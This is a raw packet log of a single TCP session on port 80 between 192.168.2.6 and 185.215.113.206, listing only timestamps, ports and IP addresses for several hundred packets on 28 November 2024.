Nov 28, 2024 15:17:17.326622009 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.327641010 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.327688932 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.327716112 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.327758074 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.328649998 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.328691959 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.328804016 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.328847885 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.329792976 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.329840899 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.329855919 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.329894066 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.330864906 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.330940962 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.330960989 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.331008911 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.331986904 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.332039118 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.332087994 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.332144022 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.333028078 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.333075047 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.333231926 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.333278894 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.334201097 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.334258080 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.334285021 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.334326982 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.335272074 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.335335970 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.335364103 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.335411072 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.336383104 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.336429119 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.336532116 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.336585045 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.337469101 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.337508917 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.337579966 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.337630033 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.338511944 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.338581085 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.338612080 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.338656902 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.339605093 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.339662075 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.339715004 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.339766979 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.340698957 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.340745926 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.340812922 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.340857029 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.341772079 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.341818094 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.341929913 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.341974020 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.342869043 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.342915058 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.342998028 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.343040943 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.343978882 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.344026089 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.344100952 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.344144106 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.345069885 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.345117092 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.345215082 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.345258951 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.346213102 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.346266985 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.346319914 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.346359968 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.347264051 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.347307920 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.347537994 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.347595930 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.348340034 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.348387003 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.348452091 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.348499060 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.349427938 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.349508047 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.349566936 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.349620104 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.350505114 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.350549936 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.396032095 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.396083117 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.396274090 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.396318913 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.396543980 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.396588087 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.396655083 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.396701097 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.397625923 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.397680044 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.397748947 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.397800922 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.398725033 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.398767948 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.399085999 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.399131060 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.399202108 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.399246931 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.400255919 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.400300980 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.400377035 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.400418997 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.401271105 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.401316881 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.401340008 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.401382923 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.402383089 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.402450085 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.402554035 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.402599096 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.403687000 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.403728008 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.403750896 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.403791904 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.404514074 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.404557943 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.404602051 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.404644966 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.405581951 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.405626059 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.405693054 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.405738115 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.406701088 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.406744957 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.406799078 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.406847000 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.407780886 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.407840967 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.407872915 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.407921076 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.408866882 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.408912897 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.408952951 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.408994913 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.409954071 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.409996986 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.410062075 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.410099983 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.411037922 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.411094904 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.411128044 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.411166906 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.412139893 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.412188053 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.412244081 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.412282944 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.413184881 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.413230896 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.457731009 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.457843065 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.457845926 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.457998037 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.458261967 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.458307028 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.458359957 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.458408117 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.459342957 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.459443092 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.459455013 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.459479094 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.460434914 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.460481882 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.460505009 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.460592985 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.461500883 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.461601973 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.461649895 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.461769104 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.462620020 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.462685108 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.462706089 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.462747097 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.463686943 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.463742971 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.463802099 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.463850975 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.464786053 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.464834929 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.464839935 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.464875937 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.465904951 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.465965033 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.465970039 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.466001034 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.466960907 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.467008114 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.467082024 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.467129946 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.468059063 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.468108892 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.468264103 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.468310118 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.469171047 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.469249964 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.469285011 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.469337940 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.470341921 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.470354080 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.470387936 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.470411062 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.471318960 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.471385956 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.527118921 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.527160883 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.527193069 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.527210951 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.527574062 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.527616024 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.527842999 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.527887106 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.527944088 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.528008938 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.528911114 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.528960943 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.529028893 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.529067039 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.530000925 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.530052900 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.530108929 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.531055927 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.531109095 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.531173944 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.531213999 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.532167912 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.532233000 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.532279015 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.532330036 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.533251047 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.533298969 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.533354044 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.533471107 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.534321070 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.534369946 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.534451962 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.534569979 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.535440922 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.535552979 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.535567999 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.535640955 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.536520958 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.536606073 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.536638975 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.536681890 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.537605047 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.537667036 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.537708044 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.537758112 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.538693905 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.538747072 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.538779020 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.538816929 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.539798975 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.539860010 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.539915085 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.539959908 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.540889025 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.540930033 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.540994883 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.541038036 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.541981936 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.542025089 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.542084932 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.542152882 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.543078899 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.543154955 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.543171883 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.543217897 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.544394970 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.544440985 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.544478893 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.544534922 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.545254946 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.545300007 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.545352936 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.545394897 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.546354055 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.546408892 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.546458960 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.546514034 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.547467947 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.547509909 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.547697067 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.547746897 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.548610926 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.548676968 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.548717976 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.549643993 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.549688101 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.549715042 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.549757957 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.550700903 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.550762892 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.550782919 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.550801992 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.551743984 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.551790953 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.597120047 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.597146988 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.597210884 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.597640038 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.597685099 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.597702026 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.597719908 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.598673105 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.598721027 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.598764896 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.598809004 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.599742889 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.600131035 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.600186110 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.600198030 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.600239038 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.601188898 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.601236105 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.601433992 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.601476908 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.602278948 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.602327108 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.602530956 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.602583885 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.603379011 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.603421926 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.603697062 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.604490995 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.604540110 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.604620934 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.604670048 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.605550051 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.605597973 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.605678082 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.605715990 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.606690884 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.606735945 CET	49712	80	192.168.2.6	185.215.113.206
